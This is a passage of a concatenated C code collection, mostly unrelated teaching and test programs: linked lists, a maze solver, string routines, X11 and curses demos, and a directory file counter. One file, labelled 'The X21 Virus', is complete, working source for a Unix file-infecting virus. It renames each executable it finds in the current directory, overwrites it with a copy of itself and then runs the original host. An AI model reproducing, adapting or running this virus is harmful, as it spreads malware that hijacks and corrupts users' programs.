* hpix - the number of pixels in image height. * bucket_size - the size of bucket in pixels. * * Returns: * * None. */ void zorder_setup(unsigned int wpix, unsigned int hpix, unsigned int bucket_size) { unsigned int i; unsigned int pow2n; unsigned int maxpixlen; if (wpix > hpix) { maxpixlen = wpix; } else { maxpixlen = hpix; } maxpixlen /= bucket_size * 2; if (maxpixlen == 0) { g_z_order = 0; return; } /* find nearest 2^n value against maxpixlen. * I think there exists more sofisticated way for this porpose ... */ pow2n = 1; for (i = 1; i < maxpixlen; i++) { if (maxpixlen <= pow2n) break; pow2n *= 2; } g_z_order = i; g_z_maxs = (unsigned int) pow(4, i - 1); g_z_offset = pow2n - 1; } /* * Function: zorder_get_nextlocation * * Returns next location in Z curve order. * * * Parameters: * * *xp - next location of x. * *yp - next location of y. * * Returns: * * 0 if traversed all Z curve, 1 if not. */ int zorder_get_nextlocation(unsigned int *xp, unsigned int *yp) { if (g_z_s >= g_z_maxs) return 0; //if (g_z_quadrant >= 4) return 0; zorder_xy_from_s(g_z_s, g_z_order, xp, yp); switch (g_z_quadrant) { case 0: /* upper-right */ *xp += g_z_offset + 1; *yp += g_z_offset + 1; break; case 1: /* upper-left */ *xp = g_z_offset - (*xp); *yp += g_z_offset + 1; break; case 2: /* bottom-left */ *xp = g_z_offset - (*xp); *yp = g_z_offset - (*yp); break; case 3: /* bottom-right */ *xp += g_z_offset + 1; *yp = g_z_offset - (*yp); break; } #if 0 g_z_s++; if (g_z_s >= g_z_maxs) { g_z_s = 0; g_z_quadrant++; } #else g_z_quadrant++; if (g_z_quadrant >= 4) { g_z_quadrant = 0; g_z_s++; } #endif return 1; } #ifdef TEST void test1() { unsigned int x, y; while (1) { if (!zorder_get_nextlocation(&x, &y)) { break; } } } #define ZINDEX(x, y) (g_z_tbl_expand[(x)] | (g_z_tbl_expand[(y)] << 1)) void test2() { unsigned int i, j; unsigned int idx; for (i = 0; i < 8; i++) { for (j = 0; j < 8; j++) { idx = ZINDEX(j, i); printf("(%d, %d) => index = %d\n", j, i, idx); } } } void main() { double elapsed; int done = 0; struct timeval start, end; zorder_setup(1024, 1024, 32); compute_expand_table(); gettimeofday(&start, NULL); test1(); gettimeofday(&end, NULL); elapsed = (double)(end.tv_sec - start.tv_sec) + (double)(end.tv_usec - start.tv_usec) / (double)1.0e6; printf("test1: elapsed = %f\n", elapsed); gettimeofday(&start, NULL); test2(); gettimeofday(&end, NULL); elapsed = (double)(end.tv_sec - start.tv_sec) + (double)(end.tv_usec - start.tv_usec) / (double)1.0e6; printf("test2: elapsed = %f\n", elapsed); } #endif
the_stack_data/85076.c
#include <stdio.h> #include <assert.h> int isqrt(int n, int *isr){ if(!isr || n < 0) return -1; int a = 0; int b = 1; for (int i = 1; n >= a; i = i+2){ a = a + i; b = i; printf("%d\n",a); } *isr = b/2; return 0; } int main(void){ int r; int t = 13; printf("%d\n",t); int err = isqrt(t,&r); printf("\n%d\n",r); assert(r == 3 && err == 0); t = 30; printf("\n%d\n",t); err = isqrt(t,&r); printf("\n%d\n",r); assert(r == 5 && err == 0); t = -21; err = isqrt(t,&r); assert(err == -1); err = isqrt(t,NULL); assert(err == -1); }
the_stack_data/165766795.c
#include <stdio.h> int main() { printf("Hello Linux\n"); }
the_stack_data/95449195.c
#include <stdio.h> #include <stdlib.h> typedef struct Node { int data; //4 bytes. struct Node* next; //4 bytes. }NODE; NODE* head; //global node declaration to store address to first node of list. void insert_begin(int x) { NODE* temp; //to store address to temporary node. temp = (NODE*) malloc(sizeof(NODE)); /*malloc creates a node of 8 bytes and returns starting address of it, in void type, which then needs to be type casted to NODE type, to store in a NODE type pointer. So, temp now holds address of node.*/ temp->data = x; //dereferencing pointer to modify data at address. It's same as writing, (*temp).data=x; temp->next = head; //It's same as writing, (*temp).next=head; head = temp; } void traverse() //to print each node. { NODE* loc = head; //loc holds start address of list. We don't want to modify head. So, we use 'loc'. printf("list is: \n"); while(loc != NULL) { printf(" %d",loc->data); loc = loc->next; } printf("\n"); } int main() { int n,i,x; head = NULL; //initially list is empty. printf("How many nodes? \n"); scanf("%d",&n); for(i=0;i<n;i++) { printf("Enter the no: "); scanf("%d",&x); insert_begin(x); //func. call to insert. traverse(); //func. call to display. } printf("\nFinally the list is: "); traverse(); //func. call to display. return 0; }
the_stack_data/381501.c
/* PR optimization/8555 */ /* { dg-do compile } */ /* { dg-options "-O -ffast-math -funroll-loops" } */ /* { dg-options "-march=pentium3 -O -ffast-math -funroll-loops" { target { { i?86-*-* x86_64-*-* } && ia32 } } } */ float foo (float *a, int i) { int j; float x = a[j = i - 1], y; for (j = i; --j >= 0; ) if ((y = a[j]) > x) x = y; return x; }
the_stack_data/76699423.c
//file: _insn_test_cmplts_X0.c //op=59 #include <stdio.h> #include <stdlib.h> void func_exit(void) { printf("%s\n", __func__); exit(0); } void func_call(void) { printf("%s\n", __func__); exit(0); } unsigned long mem[2] = { 0xdfe94ab09fee22a5, 0x379c002b0119bd52 }; int main(void) { unsigned long a[4] = { 0, 0 }; asm __volatile__ ( "moveli r3, -11368\n" "shl16insli r3, r3, -9764\n" "shl16insli r3, r3, -880\n" "shl16insli r3, r3, -31125\n" "moveli r31, -25744\n" "shl16insli r31, r31, -23478\n" "shl16insli r31, r31, -21167\n" "shl16insli r31, r31, -9956\n" "moveli r9, 19348\n" "shl16insli r9, r9, 13914\n" "shl16insli r9, r9, -27396\n" "shl16insli r9, r9, -31879\n" "{ cmplts r3, r31, r9 ; fnop }\n" "move %0, r3\n" "move %1, r31\n" "move %2, r9\n" :"=r"(a[0]),"=r"(a[1]),"=r"(a[2])); printf("%016lx\n", a[0]); printf("%016lx\n", a[1]); printf("%016lx\n", a[2]); return 0; }
the_stack_data/173578277.c
#include <stdio.h> int func(int a,int b) { int eb,ek; if(a>b){eb=a;ek=b;}else{eb=b;ek=a;} for(int j=ek;j<eb;j++){ for(int i=2;i<j;i++){ if(j%i==0){break;} else {printf("%d\n",j);break;} } } } int main(){ int sayi1,sayi2; printf("ilk sayi : ");scanf("%d",&sayi1); printf("ikinci sayi : ");scanf("%d",&sayi2); func(sayi1,sayi2); }
the_stack_data/149857.c
/*WAP to reverse the first m elements of a linked list of n nodes.*/ #include <stdio.h> #include <stdlib.h> struct Node{ int data; struct Node* next; }; struct Node* createNode(int data){ struct Node* t=(struct Node* )malloc(sizeof(struct Node)); t->data=data; t->next=NULL; return t; } void dealloc(struct Node* ptr){ // in this case LL struct Node* t=0; while(ptr){ t=ptr; t=t->next; free(ptr); ptr=t; } free(t); } void print(struct Node* k){ do{ printf("%d ",k->data); k=k->next; }while(k && printf("->")); printf("\n"); } struct Node* exec(struct Node* h, int m){ // assumming the m<n struct Node* start=h; //savingthe1asitwillbethelasttobeconnected struct Node* curr=h; struct Node* prev=NULL; struct Node* next=h; while(m-- && curr){ next=next->next; curr->next=prev; prev=curr; curr=next; } start->next = next; return prev; } int main(int argc, char const *argv[]){ struct Node* head=NULL; head=createNode(1); head->next=createNode(2); head->next->next=createNode(3); head->next->next->next=createNode(4); head->next->next->next->next=createNode(5); head->next->next->next->next->next=createNode(6); int m; print(head); printf("enter a element: "); scanf("%d",&m); head=exec(head,m); print(head); dealloc(head); remove(argv[0]); return 0; }
the_stack_data/82950352.c
// // gcc h1.c -o h1 // ./h1 // gcc h2.c -o h2 // ./h2 // gcc X21.c -o X21 // ./X21 /* The X21 Virus for BSD Free Unix 2.0.2 (and others) */ /* (C) 1995 American Eagle Publications, Inc. All rights reserved! */ /* Compile with Gnu C, “GCC X21.C” */ #include <stdio.h> #include <sys/types.h> #include <dirent.h> #include <sys/stat.h> #include <string.h> #include <unistd.h> DIR *dirp; /* directory search structure */ struct dirent *dp; /* directory entry record */ struct stat st; /* file status record */ int stst; /* status call status */ FILE *host,*virus; /* host and virus files. */ long FileID; /* 1st 4 bytes of host */ char buf[512]; /* buffer for disk reads/writes */ char *lc; /* used to search for X21 */ size_t amt_read; /* amount read from file */ int main(int argc, char* argv[], char* envp[]) { dirp=opendir("."); /* begin directory search */ while ((dp=readdir(dirp))!=NULL) { /* have a file, check it out */ if ( (stst=stat((const char *)&dp->d_name, &st) )==0) { /* get status */ printf("investigate file = %s \n", dp->d_name); lc=(char *)&dp->d_name; while (*lc!=0) lc++; lc=lc-3; /* lc points to last 3 chars in file name */ if ( (!((*lc=='X') && (*(lc+1)=='2') && (*(lc+2)=='1'))) /* "X21"? */ && ( (st.st_mode & S_IXUSR) != 0) ) { printf("file to be infected = %s \n", dp->d_name); strcpy((char *)&buf,(char *)&dp->d_name); strcat((char *)&buf,".X21"); if ((host=fopen((char *)&buf,"r"))!=NULL) { fclose(host); } else { printf("buf = %s \n", buf); if (rename((char *)&dp->d_name,(char *)&buf)==0) {/* rename hst */ if ((virus=fopen(argv[0],"r"))!=NULL) { if ((host=fopen((char *)&dp->d_name,"w"))!=NULL) { while (!feof(virus)) { /* and copy virus to orig */ amt_read=512; /* host name */ amt_read=fread(&buf, 1, amt_read, virus); fwrite(&buf, 1, amt_read, host); } fclose(host); strcpy((char *)&buf, "./"); strcat((char *)&buf, (char *)&dp->d_name); chmod((char *)&buf, S_IRWXU | S_IXGRP); } fclose(virus); /* infection process complete */ } /* for this file */ } } } } } (void)closedir(dirp); /* infection process complete for this dir */ strcpy((char *)&buf, argv[0]); /* the host is this program’s name */ strcat((char *)&buf, ".X21"); /* with an X21 tacked on */ execve((char *)&buf, argv, envp); /* execute this program’s host */ } // end main
the_stack_data/835141.c
#include <stdio.h> int main() { int i = 2; for(;;) { if( (i%2 == 0) && (i % 3 == 0) && (i % 4 == 0) && (i % 5 == 0) && (i % 6 == 0) && (i % 7 == 0) && (i % 8 == 0) && (i % 9 == 0) && ( i % 10 == 0 ) && (i % 11 == 0) && (i % 12 == 0) && (i % 13 == 0) && (i % 14 == 0) && (i % 15 == 0) && (i % 16 == 0) && (i % 17 == 0) && (i % 18 ==0) && (i % 19 == 0) && ( i % 20 == 0)) { printf("%d \n", i); break; } else ++i; } return 0; }
the_stack_data/14199423.c
#include <stdint.h> #include <string.h> // TODO SIMD int memcmp(const void *aptr, const void *bptr, size_t size) { const unsigned char *a = (const unsigned char *)aptr; const unsigned char *b = (const unsigned char *)bptr; for (size_t i = 0; i < size; i++) { if (a[i] < b[i]) return -1; else if (b[i] < a[i]) return 1; } return 0; } void *memcpy(void *restrict dstptr, const void *restrict srcptr, size_t size) { unsigned char *dst = (unsigned char *)dstptr; const unsigned char *src = (const unsigned char *)srcptr; for (size_t i = 0; i < size; i++) dst[i] = src[i]; return dstptr; } void *memmove(void *dstptr, const void *srcptr, size_t size) { unsigned char *dst = (unsigned char *)dstptr; const unsigned char *src = (const unsigned char *)srcptr; if (dst < src) { for (size_t i = 0; i < size; i++) dst[i] = src[i]; } else { for (size_t i = size; i != 0; i--) dst[i - 1] = src[i - 1]; } return dstptr; } void *memset(void *bufptr, int value, size_t size) { unsigned char *buf = (unsigned char *)bufptr; for (size_t i = 0; i < size; i++) buf[i] = (unsigned char)value; return bufptr; } size_t strlen(const char *str) { size_t len = 0; while (str[len]) len++; return len; } void strrev(char *str) { int i; int j; unsigned char a; unsigned len = strlen((const char *)str); for (i = 0, j = len - 1; i < j; i++, j--) { a = str[i]; str[i] = str[j]; str[j] = a; } } char *strcpy(char *dst, const char *src) { uint32_t len = strlen(src); memcpy(dst, src, len); return dst; }
the_stack_data/67928.c
#include <stdio.h> #include <stdlib.h> #define MAXSIZE 100 typedef struct { int ord; int x; int y; int di; // 0上走 1右 2下 3左 } Path; typedef struct { Path data[MAXSIZE]; int top; } SqStack; void InitStack(SqStack **s); int Push(SqStack *s, Path p); int Pop(SqStack *s, Path **t); int Read(SqStack s); Path InitPath(int ord, int x, int y); int MazePath(Path start, Path end); int Pass(Path t); void FoorPrint(Path t); Path Next(Path *t); int P(Path p[], int t, int x, int y, int num, int m[num][num]); void Print(); int mg[10][10] = { {1, 1, 1, 1, 1, 1, 1, 1, 1, 1}, {1, 0, 0, 1, 0, 0, 0, 1, 0, 1}, {1, 0, 0, 1, 0, 0, 0, 1, 0, 1}, {1, 0, 0, 0, 0, 1, 1, 0, 0, 1}, {1, 0, 1, 1, 1, 0, 0, 0, 0, 1}, {1, 0, 0, 0, 1, 0, 0, 0, 0, 1}, {1, 0, 1, 0, 0, 0, 1, 0, 0, 1}, {1, 0, 1, 1, 1, 0, 1, 1, 0, 1}, {1, 1, 0, 0, 0, 0, 0, 0, 0, 1}, {1, 1, 1, 1, 1, 1, 1, 1, 1, 1}}; int mg2[10][10] = { {1, 1, 1, 1, 1, 1, 1, 1, 1, 1}, {1, 0, 0, 1, 0, 0, 0, 1, 0, 1}, {1, 0, 0, 1, 0, 0, 0, 1, 0, 1}, {1, 0, 0, 0, 0, 1, 1, 0, 0, 1}, {1, 0, 1, 1, 1, 0, 0, 0, 0, 1}, {1, 0, 0, 0, 1, 0, 0, 0, 0, 1}, {1, 0, 1, 0, 0, 0, 1, 0, 0, 1}, {1, 0, 1, 1, 1, 0, 1, 1, 0, 1}, {1, 1, 0, 0, 0, 0, 0, 0, 0, 1}, {1, 1, 1, 1, 1, 1, 1, 1, 1, 1}}; int main(void) { //printf("1"); /* int t = MazePath(InitPath(0, 1, 1), InitPath(0, 8, 8)); printf("%d\n", t); */ Path p[100]; p[0].x = 1; p[0].y = 1; int o = P(p,0,8,8,10,mg); for (int i = 0; i < 10; i++) { for (int j = 0; j < 10; j++) printf("%d", mg[i][j]); printf("\n"); } for (int j = 0; j <= o; j++) printf("<%d %d>\n", p[j].x,p[j].y); } int Push(SqStack *s, Path p) { if (s->top == 100) return -1; s->data[++s->top] = p; return 1; } int Pop(SqStack *s, Path **t) { if (s->top == -1) return -1; *t = &(s->data[s->top--]); return 1; } int Read(SqStack s) { Path *p; for (int i = Pop(&s, &p); i != -1; i = Pop(&s, &p)) printf("%d x:%d y:%d di:%d", p->ord, p->x, p->y, p->di); } void InitStack(SqStack **s) { *s = (SqStack *)malloc(sizeof(SqStack)); (*s)->top = -1; } Path InitPath(int ord, int x, int y) { Path *t; t = (Path *)malloc(sizeof(Path)); t->ord = ord; t->x = x; t->y = y; t->di = 0; return *t; } int MazePath(Path start, Path end) { SqStack *s; InitStack(&s); Path *p1 = &start; Path p2; do { printf("%d,%d\n", p1->x, p1->y); if (p1->di <= 3) { FoorPrint(*p1); Push(s, *p1); if (p1->x == end.x && p1->y == end.y) { Read(*s); printf("\n"); return 1; } *p1 = Next(p1); FoorPrint(*p1); } else { if (s->top != -1) //s不是空 { Pop(s, &p1); } else { Read(*s); return -1; } } } while (s->top != -1); Read(*s); return -2; } int Pass(Path t) { return (!mg2[t.x][t.y]); } void FoorPrint(Path t) { mg2[t.x][t.y] = 1; } Path Next(Path *t) { if (t->di == 0) { t->di++; if (Pass(InitPath(0, t->x - 1, t->y))) return InitPath(0, t->x - 1, t->y); } if (t->di == 1) { t->di++; if (Pass(InitPath(0, t->x, t->y + 1))) return InitPath(0, t->x, t->y + 1); } if (t->di == 2) { t->di++; if (Pass(InitPath(0, t->x + 1, t->y))) return InitPath(0, t->x + 1, t->y); } if (t->di == 3) { t->di++; if (Pass(InitPath(0, t->x, t->y - 1))) return InitPath(0, t->x, t->y - 1); } if (t->di == 4) { t->di++; return *t; } t->di++; return *t; } void Print() { for (int i = 0; i < 10; i++) { for (int j = 0; j < 10; j++) printf("%d", mg2[i][j]); printf("\n"); } } int P(Path p[], int t, int x, int y, int num, int m[num][num]) { m[p[t].x][p[t].y]=1; if (p[t].x == x && p[t].y == y) return t; if (p[t].x + 1<num&&m[p[t].x + 1][p[t].y] == 0) { p[t + 1].x = p[t].x + 1; p[t + 1].y = p[t].y; int r = P(p,t+1,x,y,num,m); if(r!=0) return r; } if (p[t].y+1<num&&m[p[t].x ][p[t].y+1] == 0) { p[t + 1].x = p[t].x ; p[t + 1].y = p[t].y+1; int r = P(p,t+1,x,y,num,m); if(r!=0) return r; } if (p[t].x-1>=0&&m[p[t].x-1][p[t].y] == 0) { p[t + 1].x = p[t].x-1 ; p[t + 1].y = p[t].y; int r = P(p,t+1,x,y,num,m); if(r!=0) return r; } if (p[t].y-1>=0&&m[p[t].x][p[t].y-1] == 0) { p[t + 1].x = p[t].x ; p[t + 1].y = p[t].y-1; int r = P(p,t+1,x,y,num,m); if(r!=0) return r; } return 0; }
the_stack_data/48576408.c
# include<stdio.h> int main() { int t; int a,b; scanf("%d",&t); while(scanf("%d",&a)!=EOF) { scanf("%d%d",&b); if(a>b) printf(">\n"); if(a<b) printf("<\n"); else if(a==b) printf("=\n"); } return 0; }
the_stack_data/121215.c
// This file provides the implementation of main() that bcdb mux links into its // output programs. #include <stdio.h> #include <stdlib.h> #include <string.h> static const char *basename(const char *name) { const char *p = strrchr(name, '/'); return p ? p + 1 : name; } struct Main { const char *name; int (*main)(int, char **, char **); void (**init)(void); void (**fini)(void); }; extern struct Main __bcdb_main; static void (**fini)(void); static void do_fini(void) { void (**ptr)(void); for (ptr = fini; *ptr; ptr++) (*ptr)(); } static void try_main(int argc, char *argv[], char *envp[]) { const char *name = basename(argv[0]); struct Main *ptr; for (ptr = &__bcdb_main; ptr->name; ptr++) { if (!strcmp(name, ptr->name)) { fini = ptr->init; do_fini(); fini = ptr->fini; atexit(do_fini); exit(ptr->main(argc, argv, envp)); } } } int main(int argc, char *argv[], char *envp[] /* not POSIX but needed by some things */) { // If the user is running /bin/foo arg1 arg2 try_main(argc, argv, envp); // If the user is running /bin/muxed foo arg1 arg2 if (argc > 1) try_main(argc - 1, argv + 1, envp); // No subcommand specified. Print a list of available subcommands. struct Main *ptr; for (ptr = &__bcdb_main; ptr->name; ptr++) { puts(ptr->name); } return -1; }
the_stack_data/184518629.c
#include <X11/Xlib.h> #include <X11/Xutil.h> #include <X11/Xos.h> #include <stdlib.h> #include <stdio.h> #include <locale.h> #include <assert.h> Display *dpy; Window win; int scr; void send_spot(XIC ic, XPoint nspot) { XVaNestedList preedit_attr; preedit_attr = XVaCreateNestedList(0, XNSpotLocation, &nspot, NULL); XSetICValues(ic, XNPreeditAttributes, preedit_attr, NULL); XFree(preedit_attr); } int main() { /* fallback to LC_CTYPE in env */ setlocale(LC_CTYPE, ""); XSetLocaleModifiers(""); dpy = XOpenDisplay(NULL); scr = DefaultScreen(dpy); win = XCreateSimpleWindow(dpy, XDefaultRootWindow(dpy), 0, 0, 100, 100, 5, BlackPixel(dpy, scr), BlackPixel(dpy, scr)); XMapWindow(dpy, win); XIM xim = XOpenIM(dpy, NULL, NULL, NULL); XIC ic = XCreateIC(xim, /* the following are in attr, val format, terminated by NULL */ XNInputStyle, XIMPreeditNothing | XIMStatusNothing, XNClientWindow, win, NULL); /* focus on the only IC */ XSetICFocus(ic); /* capture the input */ XSelectInput(dpy, win, KeyPressMask); XPoint spot; spot.x = 0; spot.y = 0; send_spot(ic, spot); static char *buff; size_t buff_size = 16; buff = (char *)malloc(buff_size); for (;;) { KeySym ksym; Status status; XEvent ev; XNextEvent(dpy, &ev); printf("miong!"); fflush(stdout); if (XFilterEvent(&ev, None)) continue; if (ev.type == KeyPress) { size_t c = Xutf8LookupString(ic, &ev.xkey, buff, buff_size - 1, &ksym, &status); if (status == XBufferOverflow) { printf("reallocate to the size of: %lu\n", c + 1); buff = (char*)realloc(buff, c + 1); c = Xutf8LookupString(ic, &ev.xkey, buff, c, &ksym, &status); } if (c) { spot.x += 20; spot.y += 20; send_spot(ic, spot); buff[c] = 0; printf("delievered string: %s\n", buff); } } } }
the_stack_data/106553.c
#include <stdio.h> typedef unsigned long* ulp; ulp foo() { return NULL; } // GH #99: Previously bitcasts were ignored for int* to const int* // messing up type inference in read_volatile type conversion int simple(int const * *x, int * volatile *y) { return *x == *y; } void entry(const unsigned int buffer_size, int buffer[]) { char *test = {"string"}; buffer[0] = test[0]; buffer[1] = test[1]; buffer[2] = test[2]; buffer[3] = test[3]; buffer[4] = test[4]; // GH #89: Previously a null ptr return value would cause a // typedef'd pointer type to cause the function to silently // not generate any definition foo(); }
the_stack_data/168892828.c
/* $Id: ptest.c,v 1.24 2008/07/13 16:08:17 wmcbrine Exp $ */ #include <curses.h> #include <panel.h> #include <stdlib.h> PANEL *p1, *p2, *p3, *p4, *p5; WINDOW *w4, *w5; long nap_msec = 1; char *mod[] = { "test ", "TEST ", "(**) ", "*()* ", "<--> ", "LAST " }; void pflush(void) { update_panels(); doupdate(); } void backfill(void) { int y, x; erase(); for (y = 0; y < LINES - 1; y++) for (x = 0; x < COLS; x++) printw("%d", (y + x) % 10); } void wait_a_while(long msec) { int c; if (msec != 1) timeout(msec); c = getch(); if (c == 'q') { endwin(); exit(1); } } void saywhat(const char *text) { mvprintw(LINES - 1, 0, "%-20.20s", text); } /* mkpanel - alloc a win and panel and associate them */ PANEL *mkpanel(int rows, int cols, int tly, int tlx) { WINDOW *win = newwin(rows, cols, tly, tlx); PANEL *pan = (PANEL *)0; if (win) { pan = new_panel(win); if (!pan) delwin(win); } return pan; } void rmpanel(PANEL *pan) { WINDOW *win = pan->win; del_panel(pan); delwin(win); } void fill_panel(PANEL *pan) { WINDOW *win = pan->win; char num = *((char *)pan->user + 1); int y, x, maxy, maxx; box(win, 0, 0); mvwprintw(win, 1, 1, "-pan%c-", num); getmaxyx(win, maxy, maxx); for (y = 2; y < maxy - 1; y++) for (x = 1; x < maxx - 1; x++) mvwaddch(win, y, x, num); } int main(int argc, char **argv) { int itmp, y; if (argc > 1 && atol(argv[1])) nap_msec = atol(argv[1]); #ifdef XCURSES Xinitscr(argc, argv); #else initscr(); #endif backfill(); for (y = 0; y < 5; y++) { p1 = mkpanel(10, 10, 0, 0); set_panel_userptr(p1, "p1"); p2 = mkpanel(14, 14, 5, 5); set_panel_userptr(p2, "p2"); p3 = mkpanel(6, 8, 12, 12); set_panel_userptr(p3, "p3"); p4 = mkpanel(10, 10, 10, 30); w4 = panel_window(p4); set_panel_userptr(p4, "p4"); p5 = mkpanel(10, 10, 13, 37); w5 = panel_window(p5); set_panel_userptr(p5, "p5"); fill_panel(p1); fill_panel(p2); fill_panel(p3); fill_panel(p4); fill_panel(p5); hide_panel(p4); hide_panel(p5); pflush(); wait_a_while(nap_msec); saywhat("h3 s1 s2 s4 s5;"); move_panel(p1, 0, 0); hide_panel(p3); show_panel(p1); show_panel(p2); show_panel(p4); show_panel(p5); pflush(); wait_a_while(nap_msec); saywhat("s1;"); show_panel(p1); pflush(); wait_a_while(nap_msec); saywhat("s2;"); show_panel(p2); pflush(); wait_a_while(nap_msec); saywhat("m2;"); move_panel(p2, 10, 10); pflush(); wait_a_while(nap_msec); saywhat("s3;"); show_panel(p3); pflush(); wait_a_while(nap_msec); saywhat("m3;"); move_panel(p3, 5, 5); pflush(); wait_a_while(nap_msec); saywhat("b3;"); bottom_panel(p3); pflush(); wait_a_while(nap_msec); saywhat("s4;"); show_panel(p4); pflush(); wait_a_while(nap_msec); saywhat("s5;"); show_panel(p5); pflush(); wait_a_while(nap_msec); saywhat("t3;"); top_panel(p3); pflush(); wait_a_while(nap_msec); saywhat("t1;"); top_panel(p1); pflush(); wait_a_while(nap_msec); saywhat("t2;"); top_panel(p2); pflush(); wait_a_while(nap_msec); saywhat("t3;"); top_panel(p3); pflush(); wait_a_while(nap_msec); saywhat("t4;"); top_panel(p4); pflush(); wait_a_while(nap_msec); for (itmp = 0; itmp < 6; itmp++) { saywhat("m4;"); mvwaddstr(w4, 3, 1, mod[itmp]); move_panel(p4, 4, itmp * 10); mvwaddstr(w5, 4, 1, mod[itmp]); pflush(); wait_a_while(nap_msec); saywhat("m5;"); mvwaddstr(w4, 4, 1, mod[itmp]); move_panel(p5, 7, itmp * 10 + 6); mvwaddstr(w5, 3, 1, mod[itmp]); pflush(); wait_a_while(nap_msec); } saywhat("m4;"); move_panel(p4, 4, itmp * 10); pflush(); wait_a_while(nap_msec); saywhat("t5;"); top_panel(p5); pflush(); wait_a_while(nap_msec); saywhat("t2;"); top_panel(p2); pflush(); wait_a_while(nap_msec); saywhat("t1;"); top_panel(p1); pflush(); wait_a_while(nap_msec); saywhat("d2;"); rmpanel(p2); pflush(); wait_a_while(nap_msec); saywhat("h3;"); hide_panel(p3); pflush(); wait_a_while(nap_msec); saywhat("d1;"); rmpanel(p1); pflush(); wait_a_while(nap_msec); saywhat("d4; "); rmpanel(p4); pflush(); wait_a_while(nap_msec); saywhat("d5; "); rmpanel(p5); pflush(); wait_a_while(nap_msec); if (nap_msec == 1) break; nap_msec = 100L; } endwin(); return 0; } /* end of main */
the_stack_data/165765805.c
// Copyright (c) 2011 Google Inc. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. int SuperFly() { return 42; } const char* SuperFoo() { return "Hello World"; }
the_stack_data/118797.c
#include <stdio.h> #include <assert.h> #include <limits.h> int saturating_add(int x, int y) { int sum = x + y; int sig_mask = INT_MIN; /* if x>0, y>0 but sum<0 then it's a positive overflow if x<0, y<0 but sum>- then it's a negative overflow INT_MIN = 100...0; a&100...0=00..0(FALSE), then a is positive */ int pos_over = !(x & sig_mask) && !(y & sig_mask) && (sum & sig_mask); int neg_over = (x & sig_mask) && (y & sig_mask) && !(sum & sig_mask); (pos_over && (sum = INT_MAX)) || neg_over && (sum = INT_MIN); return sum; } void main() { assert(INT_MAX == saturating_add(INT_MAX, 0x1234)); assert(INT_MIN == saturating_add(INT_MIN, -0x1234)); assert(0x11 + 0x22 == saturating_add(0x11, 0x22)); }
the_stack_data/37560.c
#include<stdio.h> #include<string.h> typedef struct{ char firstName[30]; char lastName[30]; int age; float gpa; } Student; void writeStudent(FILE* fp){ Student student; char temp[10]; strcpy(student.firstName, "Mary"); strcpy(student.lastName, "Jones"); student.age = 17; student.gpa = 3.9; fputs(student.firstName, fp); fputs(",", fp); fputs(student.lastName, fp); fputs(",", fp); sprintf(temp, "%d", student.age); fputs(temp, fp); fputs(",", fp); sprintf(temp, "%0.1f", student.gpa); fputs(temp, fp); fputs("\n", fp); } int main(void){ FILE* fp = fopen("C:\\dev\\temp\\students1.dat", "w"); if(fp != NULL){ for(int i=0;i<10;i++){ writeStudent(fp); } fclose(fp); } return 0; }
the_stack_data/10226.c
#include<stdio.h> int main() { int bs,hra,ta,da,pf; int gsalary; printf("Enter base salary of the employee: "); scanf("%d",&bs); hra=bs/2; ta=bs/2.5; da=bs/3.5; pf=bs/10; gsalary=(bs+hra+ta+da)-pf; printf("hra=%d\nta=%d\nda=%d\npf=%d\n",hra,ta,da,pf); printf("Total gross salary is %d",gsalary); return 0; }
the_stack_data/1129942.c
/// 3.7. Să se scrie un program care citeşte n şiruri de caractere şi afişează şirul cel mai lung şi şirul cel mai mare alfanumeric. #include <stdio.h> #include <stdlib.h> #include <string.h> char **citeste(int *pn){ /// ** pentru ca este vector de caractere (cum ar fi c[][]) int i; char tmp[100]; printf("Numar de siruri: "); scanf("%d%*c", pn); char **s=calloc(*pn, sizeof(char*)); if(s==NULL){ printf("Memorie insuficienta"); exit(1); } for(i=0; i<*pn; i++){ fgets(tmp, 100, stdin); s[i]=calloc(strlen(tmp)+1, sizeof(char)); if(s[i]==NULL){ printf("Memorie insuficienta"); exit(1); } strcpy(s[i], tmp); } return s; } void *celMaiLungSir(char **s, int n){ int nMax=0, i; char *cMax=malloc(sizeof(char)*n+1); for(i=0; i<n; i++) if(strlen(s[i])>nMax){ nMax=strlen(s[i]); strcpy(cMax, s[i]); } return cMax; } void afisare(int n, char **s){ int i; for(i=0; i<n; i++) printf("%s", s[i]); } int main() { int n; char **s, *cmls; s=citeste(&n); cmls=celMaiLungSir(s, n); printf("Cel mai lung sir este sirul: %s", cmls); free(s); return 0; }
the_stack_data/242330141.c
/** * * dircnt.c - a fast file-counting program. * * Written 2015-02-06 by Christopher Schultz as a programming demonstration * for a StackOverflow answer: * https://stackoverflow.com/questions/1427032/fast-linux-file-count-for-a-large-number-of-files/28368788#28368788 * * Please see the README.md file for compilation and usage instructions. * * Thanks to FlyingCodeMonkey, Gary R. Van Sickle, and Jonathan Leffler for * various suggestions and improvements to the original code. Any additional * contributors can be found by looking at the GitHub revision history from * this point forward.. * * cc -Wall -pedantic -o dircnt dircnt.c */ #include <stdio.h> #include <dirent.h> #include <string.h> #include <stdlib.h> #include <limits.h> #include <sys/stat.h> #if defined(WIN32) || defined(_WIN32) #define PATH_SEPARATOR '\\' #else #define PATH_SEPARATOR '/' #endif /* A custom structure to hold separate file and directory counts */ struct filecount { long dirs; long files; }; /* * counts the number of files and directories in the specified directory. * * path - relative pathname of a directory whose files should be counted * counts - pointer to struct containing file/dir counts */ void count(char *path, char *outfile, struct filecount *counts) { FILE *fp; fp = fopen(outfile,"a"); DIR *dir; /* dir structure we are reading */ struct dirent *ent; /* directory entry currently being processed */ char subpath[PATH_MAX]; /* buffer for building complete subdir and file names */ /* Some systems don't have dirent.d_type field; we'll have to use stat() instead */ #if PREFER_STAT || !defined ( _DIRENT_HAVE_D_TYPE ) struct stat statbuf; /* buffer for stat() info */ #endif #ifdef DEBUG fprintf(stderr, "Opening dir %s\n", path); #endif dir = opendir(path); /* opendir failed... file likely doesn't exist or isn't a directory */ if(NULL == dir) { perror(path); return; } while((ent = readdir(dir))) { if (strlen(path) + 1 + strlen(ent->d_name) > PATH_MAX) { fprintf(stdout, "path too long (%ld) %s%c%s", (strlen(path) + 1 + strlen(ent->d_name)), path, PATH_SEPARATOR, ent->d_name); return; } /* Use dirent.d_type if present, otherwise use stat() */ #if ( defined ( _DIRENT_HAVE_D_TYPE ) && !PREFER_STAT) if(DT_DIR == ent->d_type) { #else sprintf(subpath, "%s%c%s", path, PATH_SEPARATOR, ent->d_name); if(lstat(subpath, &statbuf)) { perror(subpath); return; } if(S_ISDIR(statbuf.st_mode)) { #endif /* Skip "." 